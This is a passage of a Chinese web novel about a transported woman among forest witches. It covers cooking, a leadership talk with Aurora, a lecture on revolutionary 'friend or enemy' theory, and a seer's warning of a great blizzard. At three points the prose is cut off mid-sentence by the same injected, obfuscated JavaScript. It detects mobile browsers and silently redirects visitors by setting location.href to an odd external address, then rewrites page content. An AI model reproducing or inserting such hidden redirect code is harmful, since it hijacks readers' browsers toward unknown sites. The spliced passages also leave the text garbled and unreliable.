奥罗拉眸色微沉,看向玛格丽特,声音带着一丝不易察觉的紧绷:“伊薇特她这状态不对劲。玛姬,你有没有听出什么?” 毕竟伊薇特平时总是昼夜颠倒地窝在她的观星小屋里,今天好不容易出来听一次课,结果人突然发疯了,奥罗拉不可能不担心。 玛格丽特眉头紧锁,辨谎天赋已经让她捕捉到了伊薇特嘶喊中那不可名状的恐惧与危机感。 但是现在女巫们都在场,在没有定论之前,她觉得还是不要说出自己的推测制造恐慌了。 于是,玛格丽特缓缓摇头,凑到奥罗拉耳边,声音压得很低道:“不像是单纯的领悟,更像……更像是看到了某种灾难的征兆。但现在,不宜妄言,一会儿有机会我会去陪着她。” 虽然玛格丽特是好心,但是女巫们看到她的模样,反倒更加不安起来。 气氛凝重的让人喘不上气,唐慈的课俨然是上不下去了。 不过凭着女巫们对她的信赖,唐慈觉得自己有义务应该站出来说点什么。于是,她轻咳了两声,等女巫们看向她时,她朗声道: “姐妹们,刚刚伊薇特应该是领悟到了星辰的某些秘密,这秘密或许沉重。但我们不要怕!正所谓‘恐惧来源于未知’,而我们的力量来自求知!来自团结!来自我们每个人!星辰的轨迹也好,世间的压迫也罢,只要我们敢于面对,敢于思考,敢于拧成一股绳,就没有翻不过的高山、趟不过的河流……” 事实证明,营销号的毒鸡汤不管在哪个时代都不得人心。 听了这些话的女巫们依旧忧心忡忡,只是看在“救世主”的份上,才勉强点了点头给了唐慈个面子。 唐慈在心中暗叹一声,尴尬地换了个更实际的转移注意力的方法:“呃……大家都没吃早饭吧,这样,下面我来给大家展示一下我的手艺,给大家做几道我家乡的菜肴,请大家一定捧场啊!” 其实唐慈这么说的原因还有一个,那就是她自己已经要饿晕了。而女巫们被她一提醒,也想起来自己肚子空空,成功分散了不少注意力。 贝拉“唰”一下窜过来,热情洋溢地表示她可以帮忙,给唐慈吓得赶紧推脱,说自己习惯了一个人做菜,多一个人可能把握不好节奏。 别的女巫也都挖空心思劝贝拉不要出手,贝拉有些委屈,唐慈只好打圆场道:“贝拉,你来帮我做点东西。” 说完,唐慈描绘了一下现代的锅铲还有漏勺等厨具的样子,贝拉听懂后,像变戏法一样立刻用木条手搓了几个成品,可以说毫无瑕疵非常完美,引得众人连连赞叹。 听到唐慈和众位女巫由衷的夸奖,贝拉腼腆地笑着,表示这都是举手之劳。 玛格丽特瞥了眼注意力被完全转移的贝拉,随后冲唐慈使了个眼色,示意她别错失做饭的时机。 唐慈会意,当即挽起袖子,一手扶着早就热上的铁锅锅把,一手盛了几铲子油脂滑入锅中。 “嗞嗞——” 油锅在升温过程中发出细密的声音,仿佛锅中有细小的生命在苏醒,待油温渐起,泛起轻烟,唐慈果断将案板上切得粗细均匀的“土豆条”倒入锅中。 “刺啦——!” 热油与食材的激烈碰撞,瞬间爆发出惊人的声响,一股混合着油脂焦香与植物清甜的霸道气息冲天而起,蛮横地驱散了伊薇特离去带来的沉重阴霾,强势地填满了营地的每一寸空间。 这香气是如此陌生而诱人,带着一种原始的生命力,瞬间吸引了女巫们的注意力。 除了伊薇特以外的所有人,包括从小养尊处优的奥罗拉和玛格丽特,全都不由自主的围了过来,目光都黏在翻腾的锅铲上。 “天……天啊!好香!”菲比小巧的鼻子贪婪地翕动,眼睛瞪得溜圆,口水几乎要不受控制地滴下来。她猛地吸了一大口气,仿佛要把这香气全吞进肚子里,“唐慈你怎么不早点来啊!天知道我们之前过的是什……啊!” 菲比的话被瓦伦蒂娜一个肘击打断,菲比也是立马反应过来自己说错了话,她歉意地瞥了眼贝拉,却发现贝拉本人也正全神贯注地盯着锅里翻腾的“土豆条”,眼神亮得惊人,脸上只有纯粹的、对食物的垂涎,压根没在意菲比的“失言”。 “确实不同凡响。”玛格丽特忍不住赞叹道。 这直击灵魂的香气让她久违地回忆起自己还是贵族小姐时参加的宴会,那时的美味佳肴琳琅满目,但香气却和现在截然不同。 唐慈的菜香更原始、更直接,带着泥土的芬芳和灶火的暖意,远比宴会上那些精雕细琢的珍馐更能唤醒沉睡的食欲。 她下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973488|177837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识看向奥罗拉,两人的目光在空中交汇,无需言语,一种对过往精致生活的缅怀追忆与对眼前这朴实美味的惊叹,在无声中流淌。 唐慈专注地翻炒着,木铲在她手中翻飞。 待“土豆条”表面泛起诱人的金黄色焦皮,她用滤勺利落地将它们捞出,沥去多余的油脂,盛到大盆中晾着。 锅底只留薄薄一层亮晶晶的底油,唐慈抓了一把洗净的翠绿野菜丢进去。野菜在热油中迅速收缩变软,颜色愈发鲜亮欲滴,清新的草木气息与之前的焦香奇妙地融合。 紧接着,她舀起一瓢清水,“哗啦”一声注入锅中。 清水遇到滚烫的铁锅和热油,瞬间蒸腾起大片乳白色的水汽,带着湿润的暖意弥漫开来,食物的香气也变得更加醇厚复杂。 趁着水沸的功夫,唐慈拿起她和好的面团,手法娴熟地揪起一小块,手指灵巧地一捻、一扯、一甩,一片薄厚均匀、形状不规则的面片便轻盈地飞入翻滚的汤水中。 很快,满满一锅面片如同雪白的鱼儿般在乳白色的汤里沉浮,汤水咕嘟作响,香气愈发浓郁,那是谷物、植物与油脂在火焰催化下最质朴也最动人的和谐乐章。 “开饭!” 几分钟后,唐慈抹了把额角的细汗,颇有成就感地宣布。 女巫们欢呼一声,争先恐后地拿着自己的木碗上前,对美食的向往暂时淹没了刚才的恐惧和忧虑。 玛格丽特抢到了最前面,她盛了满满一碗金黄焦香的“炸薯条”,又舀了一大勺热气腾腾的面片汤,稳稳放在一个木托盘上。 “我去给伊薇特送些,顺便和她一起吃。”她对唐慈和奥罗拉微微颔首,随即转身离去。 其他女巫在玛格丽特离开后,一窝蜂地挤到锅灶旁,秩序在香气面前摇摇欲坠。 “让让!该我了!”艾格尼斯急不可耐地推开前面还在犹豫盛多少面片的瑞金娜。 “这……这个炸的块茎!天啊,外面脆里面糯!还有股甜甜的味道!”贝拉刚盛到自己的那份,甚至来不及找地方坐下,就迫不及待地舀起一大口塞进嘴里,烫得直哈气,眼睛却幸福地眯成了一条缝。 海伦娜小心翼翼地捧着碗,对着碗里热气腾腾的面片汤吹气,小口啜饮着鲜美的汤汁,发出满足的喟叹。 贝克特蹲在灶台边安静地吃着,和别人相比,她似乎感觉不到烫一样,风卷残云地光盘了。 排在最后一个的奥罗拉仍然还维持着矜持,然而,她那紧抿的唇线,微微前倾的身体,以及不断瞟向锅中迅速减少食物的目光,都暴露了她内心的急切。 好不容易轮到她,唐慈给她盛了满满一碗混合着炸薯条和面片汤的食物。 “谢谢。”奥罗拉接过碗,礼节性地道谢。 其实,奥罗拉本身是没什么别的意思的,但可惜她之前的女巫们反应太剧烈,导致她现在看起来像是不高兴。 然而,唐慈再次误会了,她想起之前奥罗拉似乎因为吃不到“贝拉特供”而跟自己生气,便觉得自己有必要弥补一下。 于是,在众女巫惊骇的目光中,唐慈做出了一个堪称行为艺术的举动...... 16. 第16章 只见唐慈毫不嫌弃地重新架起那口锅,舀了几勺清水进去,然后—— 点火! 没错,她把贝拉那锅颜色灰绿、质地粘稠、气味难以名状的糊状物重新加热了! 随着温度升高,那股混合着焦糊、草腥和某种莫名苦涩的气息再次弥漫开来,瞬间冲淡了之前炸块茎和面片汤的诱人香气。 女巫们的表情瞬间凝固,从满足变成了惊恐,菲比甚至下意识地捂住了鼻子后退一步。 唐慈却浑然不觉,等到热透以后,她拿着一个干净的木碗,舀了满满一大勺黑暗料理,然后,在十几双眼睛的注视下,径直走向了奥罗拉! “奥罗拉,”唐慈脸上带着一种“我懂你”的真诚微笑,将碗稳稳递到奥罗拉面前,“早上是我考虑不周,耽误了贝拉做早饭。喏,特意给你热的,快趁热吃吧!应该……还是那个味儿!” 空气仿佛被无形的寒冰冻结了。 所有女巫都屏住了呼吸,眼睛瞪得像铜铃。 奥罗拉彻底懵了。 她看着眼前这碗冒着诡异热气、挑战视觉和嗅觉极限的糊状物,又看看唐慈脸上那该死的、毫无杂质的真诚笑容,一股荒谬绝伦的感觉直冲头顶。 “她是在挑衅我吗?我都已经决定不跟她争了,为什么她还不放过我?”奥罗拉的大脑飞速运转,几乎要擦出火星。“还是……她真的认为我喜欢贝拉的黑暗料理,可是她会那么多奇妙的知识,怎么可能蠢成这个样子啊!” 奥罗拉眯起眼睛,试图从唐慈眼中找出哪怕一丝虚伪或挑衅。 然而,她失望了。 唐慈的眼神清澈见底,坦荡得让她想吐血,一股难以言喻的无力感和啼笑皆非的荒谬感涌上心头。 她昨夜的辗转反侧,还有那些阴暗纠结的小心思究竟算什么?一场自导自演的笑话吗? “呵……”一声压抑不住的气音,冲破了奥罗拉紧抿的唇缝。 紧接着,这声音失去了控制,越来越大,变成了清晰的笑声。 “哈……哈哈哈……” 奥罗拉一把接过那碗“黑暗料理”,在所有人惊骇的目光中,竟将那碗糊状物,以一种近乎悲壮的气势,一饮而尽! 熟悉的古怪味道瞬间充斥口腔,滑过喉咙,带来一阵生理性的强烈不适。 奥罗拉的身体几不可察地剧烈僵硬了一下,胃部似乎都在抗议地抽搐。 但下一秒,更响亮、更畅快淋漓、甚至带着点疯狂的大笑声从她胸腔里爆发出来! “哈哈哈哈哈哈......!!!”她笑得弯下了腰,肩膀剧烈耸动,眼泪都飙了出来,仿佛要把胸腔里积压的所有郁结、所有患得患失、所有自以为是的高傲和阴暗心思,都随着这近乎癫狂的笑声痛快地倾泻出去。 这笑声太莫名其妙,也太有感染力了。 女巫们先是面面相觑,一脸惊恐。然而渐渐地,菲比第一个绷不住了,她轻声笑了起来,之后是瓦伦蒂娜,再然后……笑声如同瘟疫般蔓延,大家先是压抑的嗤笑,接着是忍俊不禁的闷笑,最后汇成一片毫无形象、前仰后合的哄堂大笑。 虽然谁也不知道自己在笑什么,但在这荒诞又充满生命力的烟火气与大笑声中,什么救世主预言,什么权力争夺,什么未知恐惧......都显得渺小而遥远了。 ...... 午后的光,穿过浓密的林冠,懒洋洋地铺在营地的苔藓地上。 空气里还残留着炒块茎的焦香和面片汤的暖意,混合着草木的清冽,一种饱食后的慵懒弥漫开来。 女巫们散在营地各处,消化着食物,也消化着上午那些颠覆认知的知识碎片。 瑞金娜和菲比头碰头,对着摊开的羊皮纸上比划着,争论声压得极低,眼神却亮得惊人。 贝拉蹲在菜圃边,指尖轻柔地拂过一片舒展的叶脉,仿佛在倾听药草们无声的絮语。 瓦伦蒂娜和艾格尼斯站在观星小屋所在的树下窃窃私语,她俩虽然很想上去问问情况,但是最终还是没有行动,离开继续照料那只受伤梅花鹿去了。 营地里,唯有唐慈带着一种阶段性任务完成的松弛感,悄无声息地溜回了自己的帐篷。 整整一上午,从点拨贝拉到应付娜拉,从赶鸭子上架的讲课到发现自己的魔法天赋,这一套下来简直比她前世熬夜赶毕业论文还耗神。唐慈觉得自己完全有理由睡个午觉,等睡醒以后再仔细研究研究自己的魔法天赋。 可她没想到的是,虽然她很想躺平,但是有人逼着她卷。 在她进到帐篷后,娜拉像个小尾巴一样跟了进来,手里紧紧攥着炭笔和新的羊皮纸,一心向学的虔诚态度让唐慈不禁幻视前世那三个卷王舍友。 “唐慈老师,您是打算回来准备明天讲课的内容吗?我想在这陪着你......我肯定不会打扰您的,我就在旁边继续默写脑子里的古籍,等您有空时再向您请教!”娜拉可怜巴巴地哀求道。 唐慈很想说“你已经打扰我了”,但她又实在不忍心打消娜拉的积极性,只能无奈地叹了口气,任由娜拉找了个地方坐下,而她自己则认命地坐在矮桌旁,抓起一根炭笔,对着空白的羊皮纸发呆。 古希腊哲学家们的箴言在脑子里打着转,但唐慈骨子里的懒劲儿上来,就是不想干正经事。 她的笔尖在纸上无意识地画着圈,发出单调的沙沙声,与其说在备课,不如说在催眠自己。 一时间,帐篷里只剩下炭笔划过羊皮纸的单调声音,以及娜拉偶尔因默写卡壳而发出的焦躁吸气声。 还好,这份枯燥的宁静并未持续太久。 帐帘被一只修长的手轻轻掀开,光线涌入,勾勒出奥罗拉的身影。 这位会长脸上还挂着一点笑到缺氧的红晕,但眼神已恢复了平日的深邃,只是少了几分惯有的锐利和疏离。 她的目光在娜拉身上停留了一瞬,“娜拉,我有些事想单独跟唐慈谈谈,你先回自己帐篷待会儿,可以吗?”奥罗拉微笑道。 娜拉撇撇嘴,在唐慈的劝说下不情不愿的离开,走之前赌气一样顺走了唐慈乱涂乱画的“教案”,唐慈想拦没拦住,只能由她去了。 娜拉走后,帐篷里只剩下两人。 “请坐吧,奥罗拉。”唐慈指了指对面的草垫,心里琢磨着她为何而来,“是上午讲的东西……哪里不明白吗?”她一面问,一面百无聊赖地按住桌上乱滚的炭笔。 奥罗拉依言坐下,脊背依旧挺直,但肩膀似乎有些塌。她没有立刻回答,仿佛在组织语言,又像在最后确认自己的决心。 片刻后,她扬眸直视着坐在对面的唐慈,开门见山,声音低沉而坦诚:“唐慈,我来,是为我过去一段时间的狭隘和敌意,向你道歉。” 唐慈一愣,手中的炭笔差点又滚落:“啊?敌意?呃……有吗?”她是真没太留意。 奥罗拉唇角弯起一个极淡的、苦涩的弧度:“你看,你甚至毫无所觉……这正是最讽刺的地方。” 她深吸一口气,眼神飘向帐外,“从我把你带回营地,你又解读出神谕后,姐妹们看你的眼神就从好奇戒备变成了仰慕信赖,那警惕和敌意就在我心中扎了根。” 唐慈:“……” 她张了张嘴,想说“不至于吧”,但看着奥罗拉认真的神色,又把话咽了回去。 算了,你说有就有,但为啥要告诉我?你不提我真不知道啊!唐慈内心吐槽着,面上依旧保持安静聆听的姿态。 奥罗拉的声音里带上了一丝不易察觉的涩然:“霍华德家的姓氏曾是我的枷锁,但也是我的盾牌。失去家族的庇佑后,我就像个丧家之犬,在教廷的追捕和世人的唾弃中挣扎。” “自建立黑荆棘的这三年来,我和玛姬四处奔波,在七大王国各地招揽搜救女巫们,可以说是拼尽全力倾尽所有,每一次抉择都像在刀尖上跳舞,选错一步就是万丈深渊。” “好不容易建立这个勉强容身的营地......结果,你这个预言中的‘救世主’,被我亲手带了回来。” 她顿了顿,眼眸中闪过一丝难以掩饰的落寞:“你解读了神谕,轻而易举地点燃了姐妹们眼中我拼尽全力才护住的希望之火。那一刻,我感觉自己像个守着破败茅屋的乞丐,突然被告知,这屋子的主人回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973489|177837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。我的位置,我的努力,甚至……我存在的价值,都变得摇摇欲坠。” “从昨晚到今天,我宛如一个蹩脚的演员,试图用刻薄的台词和故作高深的姿态来掩饰内心的虚弱。我不断质疑你,反驳你,试图在你救世主的光环上找到一丝裂痕,证明你并非无可取代。” 奥罗拉的目光落在唐慈脸上,带着自嘲,也带着一丝释然,“但唐慈,你的纯粹,像一面擦得锃亮的铜镜,无论我如何试探,你都毫无保留的回应,甚至是……” 她想起那碗热气腾腾、味道感人的糊状物,嘴角抽搐了一下,“甚至是笨拙到可笑的体贴。我的那些心思,在你面前,显得如此卑劣可笑。中午我喝下的不仅是贝拉做的黑暗料理,更是自己酿下的苦酒。那一刻我就明白了,执着于互助会会长这个位置本身,才是我最大的迷失。” 她长长地吁出一口气,仿佛吐尽了胸中积郁的所有浊气,眼神变得前所未有的清澈和坚定:“所以,这个会长,该由真正能引领大家走向胜利的人来坐。唐慈,请你……” “——打住!快打住!”奥罗拉的话还没说完,就被唐慈一连串急促的、带着惊恐的摆手打断了。她像是被针扎到一样,差点从草垫上弹起来,脸上写满了“敬谢不敏”四个大字,甚至还带着点“你别坑我”的慌张。 “奥罗拉,”唐慈的语气带着点难以置信的荒谬感,她揉了揉眉心,“你……你居然觉得我能坐你的位置,当好这个会长?”她摊开手,环顾了一下这简陋的帐篷,又指了指自己,那神情仿佛听到了天底下最不可思议的笑话,“你太看得起我了!” “跟你说实话吧,在我那个世界,我本质上就是个……嗯,闲人,只喜欢胡思乱想,琢磨些‘世界是什么做的’、‘人为什么活着’这种在别人看来不着边际的问题......至于平日里,我其实非常懒散,最怕麻烦,尤其不喜欢处理那些千头万绪、鸡毛蒜皮又责任重大的日常事务。我最大的行动力,可能就是对着不公的社会现象在网上敲键盘骂两句,然后……就没有然后了。” “昨天意外穿越到这里后,我在记忆中看到这个世界的疮痍,又通过谈话了解到你们经历的苦难,确实想要尽我所能做出一些改变......比如,努力克服掉那些曾经的喜欢空谈的坏毛病,把我脑子里那些或许有用的知识、那些曾点燃过我的思想火花传递出来,就像今天这样,这大概是我唯一能做的奉献了。” 唐慈知道自己的说辞有点夸张,但为了不管琐事,她还是继续道:“至于当老大、统领全局、凝聚人心?在各种势力围攻下带着一群姐妹挣扎求生,还能把黑荆棘维持下来?奥罗拉,这就是你的主场。把我放到你的位置上,我不行的!不出三天,营地就得被我管得鸡飞狗跳。” 她看着奥罗拉的眼睛,语气异常认真:“领袖的位置,自然是有能力、有意愿、有担当者居之。至于我,还是有点自知之明的。” “我能提供的,大概就是知识和一些不太成熟的想法。”她顿了顿,补充道,“当然,还有下厨帮大家改善伙食。” 奥罗拉彻底愣住了。 她预想过唐慈可能会谦逊推辞,可能会故作姿态,甚至可能得意地接受,唯独没料到唐慈不仅用这种自污的方式干脆拒绝,同时还对她的管理能力的给予了充分肯定。 看着唐慈那副“求放过”却又对她真诚敬佩的样子,一种被理解的释然,以及一丝被认可的暖意,在奥罗拉心中悄然升起。 她紧绷的嘴角弧度终于软化,化作一个无奈却又真正轻松,甚至带着点哭笑不得的笑容。 “你有着神谕的担保,却只肯讲课?”奥罗拉玩味地笑道,“唐慈,你还是不明白,有些事不是你想躲就能躲得开的。预言和神谕指向你,姐妹们的目光追随你,这本身就是一种力量和责任,由不得你完全置身事外。” 接着,她话锋一转,眸中闪过一丝促狭的光芒,“不过,我似乎发现一件有趣的事情,那就是你今天在讲那些哲学的东西时,远没有昨日篝火晚宴上侃侃而谈时兴奋。我猜,那些‘颠覆旧世界’啊,‘朋友还是敌人’啊,才是你最想讲给我们的,对吧?” 17. 第17章 唐慈被戳中心事,脸上腾地一热,但随即便兴奋起来,跟娜拉枯坐写教案的枯燥感瞬间被抛到九霄云外。 “对对对!”说到真正感兴趣的话题,唐慈的声音都抬高了几分,“那些才是硬核干货!哲学是武器,但最终指向的是砸碎旧世界的行动!奥罗拉,你真是……太懂我了!” 奥罗拉被她这突如其来的热情弄得有点措手不及,但也被那份纯粹的热忱感染。她将身体微微前倾,手腕支在下巴上,摆出一副认真倾听的姿态:“那就……聊聊?不如就从你昨天那句‘谁是我们的朋友,谁是我们的敌人’开始。我承认,这个问题确实在我脑子里转了很久。” “好!”唐慈摩拳擦掌,瞬间进入状态。她本想直奔主题,但思绪如同开闸的洪水,越推越靠前,最后只能深吸一口气,从她认为最合适的地方讲起:“呃,奥罗拉......你别嫌我啰嗦哈。我觉得要理解这句话的精髓,得先给你讲讲它是在什么背景下被提出来的。那个时代,用我们的话说,叫‘数千年未有之大变局’。” “当时统治我们那片大陆的国家,我就叫它‘水国’吧。它已经延续了几百年,但到了那个时代,它就像一棵被蛀空了的大树,外表看起来还撑着,内里已经腐朽不堪......皇帝深居宫闱,大臣们只知争权夺利、贪污腐败,对底层百姓的疾苦视而不见。庞大的官僚体系僵化失灵,效率低下得令人发指,一个救灾的奏折可能层层上报,等批下来,灾民都饿死大半了。” 奥罗拉点了点头,因为洛芙拉王国的贵族阶层也是一样糜烂,她感同身受。 “更要命的是外部压力,”唐慈继续道,语气加重,“一群来自遥远海外的强大国家,他们拥有水国当时无法企及的武力和制度优势,而水国却拥有他们觊觎已久的广袤市场和丰富资源。” “在多次派兵试探出水国虚实后,那些强大国家就像贪婪的秃鹫,逼迫屡屡大败的水国割让各种利益,签订一个又一个不平等条约,其中就包括天文数字的赔款......”她顿了顿,似乎在斟酌如何让奥罗拉理解那惊人的数额,“那些钱,如果换算成这个世界的银币,大概能堆出来五座小山丘!” 奥罗拉倒吸一口冷气,她脑中飞快地计算着,洛芙拉的国库年收入是多少?六大执政官家族的财富总和大概是多少?最后得出一个让她脊背发凉的结论:这些钱不仅能把洛芙拉联合王国整个买下来好几遍,还要让从上到下所有国民都背上几辈子还不清的债! 她颤声问道:“那水国是如何赔出这些钱的?这么多钱真能赔出来吗?” 唐慈冷笑:“当然赔出来了,但靠的是压榨那些本就食不果腹的农民、工匠、小商人。朝廷无能,恶果却只让这些可怜人来承担!苛捐杂税多如牛毛,地方官吏层层剥削,百姓们卖儿鬻女、易子而食的惨剧在各地上演......更恶心的是,统治者甚至还说出了‘量中//华之物力,结与国之欢心’这种无耻言论,小民的生死在他们眼中不过是换取自身苟延残喘的筹码而已!” 奥罗拉听得揪心,不忍地问道:“那百姓呢?他们就这样默默忍受?” “唉,当然没有,哪里有压迫,哪里就有反抗。”唐慈带着惋惜,沉痛地说道:“那些走投无路的农民一次次揭竿而起,他们很勇敢,但目标太模糊。他们恨官府,恨外敌,可他们没想清楚到底要建立什么样的新世界。而且,他们分不清真正的敌人是谁,又该团结谁?” “敌人究竟是所有的富人和官员,还是只是那些最坏的?有时候,他们还会把同样受苦的普通人当成敌人,导致内部争斗不休,本就弱小的力量更加分散。更有甚者,只要通过起义稍微获得了一点权力,便迅速腐化,变得和他们曾经反抗的对象一模一样!因此,这些抗争,虽然的确撼动了水国腐朽的根基,但最终都失败了。” “这些反抗者失败的原因虽然是多方面的,但就像我刚刚讲得那样,他们没搞清楚最重要的一点,也即‘敌我关系’。第一步就走错了,后面自然寸步难行。” 听到这,奥罗拉若有所思,片刻后开口道:“你说的这个我确实有些理解了,当年黑荆棘刚建立时,我们到处搜救女巫,没想到很多女巫敌我不分,宁可信任那些举报她们的家人也不愿意跟我们走,最后还险些拖累了我们......唉,如此想来,这的确是大忌。” 唐慈得到正向反馈,精神愈发振奋:“在水国灭亡后,各方势力你方唱罢我登场,它们只顾着互相倾轧争权夺利,根本不在乎外族强敌的掠夺和侵占,多重压迫下,老百姓过得更加艰难。” “幸好在这时,一个真正看清世界本质的伟人出现了。他在进行实地调查后写出了一篇文章,详细分析社会各个阶层的处境、诉求和力量,把当时社会那具庞大混乱的躯体清晰地剖开,将病灶和毒瘤展示给了所有人看。” “他提出,那些真正掌握权力、依附旧秩序、吸食民脂民膏的人,包括皇帝、贵族、大地主等,这些人因为共同的利益联合成铁板一块,他们是必须彻底打倒的敌人!” 唐慈十分激动,并没注意到在听到“彻底打倒皇帝、贵族”时,奥罗拉的神态出现了细微的变化,而是自顾自地道: “而那些人数最多、受苦最深、被压榨得一无所有的人,比如农民、工人......你先理解成工匠吧,还有手工业者。他们是天然的朋友,也是最坚实、最可靠的力量源泉!” “至于那些摇摆不定、同样受到压迫和排挤的小商人、小知识分子、甚至是某些开明的小地主,他们则是可以争取、团结的对象。” “就是靠着这套‘敌我友’的清晰划分,伟人和他的队伍行动起来就有了标准!他们深入最穷苦的乡村,唤醒农民;走进最黑暗的工坊,组织工人;联合一切不满现状、渴望改变的力量。哪怕在最艰难的时候,他们也从未动摇过这个根本原则!” “就这样,他们一点一点地积蓄力量,一次又一次地在斗争中学习成长,用最符合实际的策略,团结起千千万万的普通人,终于凝聚成代表最广大被压迫者利益的崭新组织,成功扫荡了积压千年的沉疴污秽,砸碎了套在人民身上的枷锁,终于还天地一片几千年未有的朗朗青天!” “所以奥罗拉你看,这套方法论,是经过血与火验证的真理!既然它在我那个世界能行得通,那在这个世界,又有什么不可能的?如果我们真的能把朋友搞得多多的,把敌人搞得少少的,团结一切可以团结的力量,那么打败教廷指日可待,推翻帝制也可以提上日程!” 激情澎湃地说完,唐慈猛灌了一大口水,随后她期待地看着奥罗拉,却发现这位女巫会长一向坚定的目光变得有些困惑和疏离,完全没有预想中的共鸣或追问。 “奥罗拉你怎么了?是我说错什么了吗?”唐慈疑惑地问。 奥罗拉猛然回神,下意识地展示出一个完美无瑕的社交微笑,轻轻摆了摆手:“噢噢对不起,我在想问题,你继续说吧。” 唐慈虽然觉得奥罗拉的反应有点怪,但对方没反驳,她就权当是信息量太大需要消化。她兴致勃勃地继续描绘那个在她心中盘旋已久、闪闪发光的蓝图: “想想看,奥罗拉!到那时,我们将建立一个没有灰烬教廷钳制思想的世界,一个没有国王和贵族骑在人民头上作威作福的世界!所有重要的决定,不再是一个人或者几个人拍脑袋定下,而是由那些真正在织机旁忙碌、在土地上劳作、在城镇里奔波的普通老百姓共同商议决定!他们会讨论如何分配粮食、如何修筑道路、如何让每个孩子都能免费走进学堂......” 听着那些堪称离奇的构想,奥罗拉挺直的脊背逐渐僵硬。 她看着唐慈嘴唇上下翕动,却感觉这些声音像隔着一层厚重的毛玻璃,在她脑海中左耳进右耳出,不仅激不起半分热血,反而带来一种越来越强烈的震惊和隐晦的恐惧。 打败教廷确实是奥罗拉一直以来坚信的理想,但在她心中,那必然是无比艰难的过程。 然而唐慈居然轻飘飘地说“团结一切,胜利就指日可待”,她是不是根本不知道遍布大陆的宗教裁判所、灰烬骑士团、还有依附于教廷的庞大世俗力量到底意味着什么啊? 奥罗拉甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“唐慈,你说的这些,确实给我打开了一扇从未想象过的窗户。但是请原谅我,我觉得对我们这些女巫来说,更现实、更紧迫的问题是‘如何好好活下去’。这也是一开始,我想跟你探讨‘怎么做能让铁律王朝的百姓把我们视为朋友’的原因。没想到,你一直没有提到如何解决这个问题。” 啊这......好像的确如此诶,老毛病又犯了,一侃起来就无限发散。唐慈尴尬地揉了揉鼻子,脸颊有些泛红:“呃……那个,奥罗拉,你说得对,非常对!是我思维过于跳跃了。如何团结铁律王朝的百姓,这确实是我们现在最该搞清楚的核心问题!” 然而,当唐慈静下心来,试图在脑海中迅速组织起一个“团结铁律王朝百姓”的完美方案时,却发现自己根本做不到。 她只知道在斯嘉丽记忆中,铁律王朝的边民看到穿灰袍的修女时眼神不友善,但对女巫具体什么态度?完全没概念! 底层老百姓他们最痛恨的是谁?他们的生活到底苦到什么程度?具体需要什么帮助?用什么方式去接触他们才安全有效?也都完全没概念! …… 无数个具体而微的问题像雨后春笋一样冒了出来,每一个都需要深入细致的调查后才能回答。 唐慈彻底卡壳了,脸上的尴尬溢于言表,她窘迫而诚恳地坦白道:“……那个,奥罗拉,这个问题,我现在还真没法立刻给出一个有把握的答案,因为我对这里的实际情况了解得太少了。我家乡有句话说的,‘没有调查就没有发言权’,我觉得想要得出结论,至少也得……” 唐慈正想提出组织女巫们进行“田野调查”的方案,毫无预兆地,帐篷外忽然传来一声凄厉到变调的尖叫。 “是寒潮,寒潮改道了,一场千年难遇的大雪灾就要降临啦——!!!” 是伊薇特的声音,那声音里充满了极致的恐惧和绝望,瞬间撕裂了营地自午后而起的宁静! 唐慈和奥罗拉脸色骤变,两人对视一眼,同时从草垫上弹起,像两只雌豹,掀开帐帘就冲了出去。 18. 第18章 伊薇特的观星小屋所在的树下,被尖叫声惊动的女巫们已经陆陆续续都到齐了。 除了贝克特和海伦娜,余下的女巫大多来自温暖的国家,她们一生从未经历过严寒,因此这些女巫惊恐地围住急速滑下绳梯的伊薇特和玛格丽特二人,乱哄哄地问道。 “怎么回事,伊薇特?你确定没搞错吗?” “为什么寒潮会改道?雪灾会持续多久?” “我们怎么办?森林里也会冻死人的!” “食物够不够?大雪会不会冻住泉水?” “......” 就在这时,一声清叱如同惊雷在女巫们后方炸响,带着不容置疑的威严,瞬间镇住了局面。 “安静!” 是奥罗拉。 女巫们纷纷回头,无措地看向这位让她们过上安心日子的会长大人。 奥罗拉英姿飒爽地站在一棵木桩上,深褐色的卷发在风中飞扬,在所有人的目光都汇聚在她身上时,她猛地抬起双手,掌心向上—— “呼啦!” 两团橙红色的火球瞬间升腾而起,它们在她掌心上方尺许处稳稳燃烧,跳跃着,如同两轮缩小的太阳。 “看着我!”奥罗拉的声音斩钉截铁,紫眸扫过每一张惊惶的脸,“只要我奥罗拉还有一口气在,就绝不会让任何一个姐妹冻死!我的火焰,既然能烧光一个村庄,便足以在雪灾中温暖整个营地!慌什么?!更何况神谕昭示的救世主也与我们同在......” 她把目光落在唐慈身上:“唐慈,你有没有什么想法?可以跟大家分享一下。” 奥罗拉的说辞显然很有效,女巫们的情绪慢慢稳定下来,她们跟奥罗拉一同看向唐慈,却发现唐慈一边掰着手指头,一边念念有词,似乎是在筹划些什么。 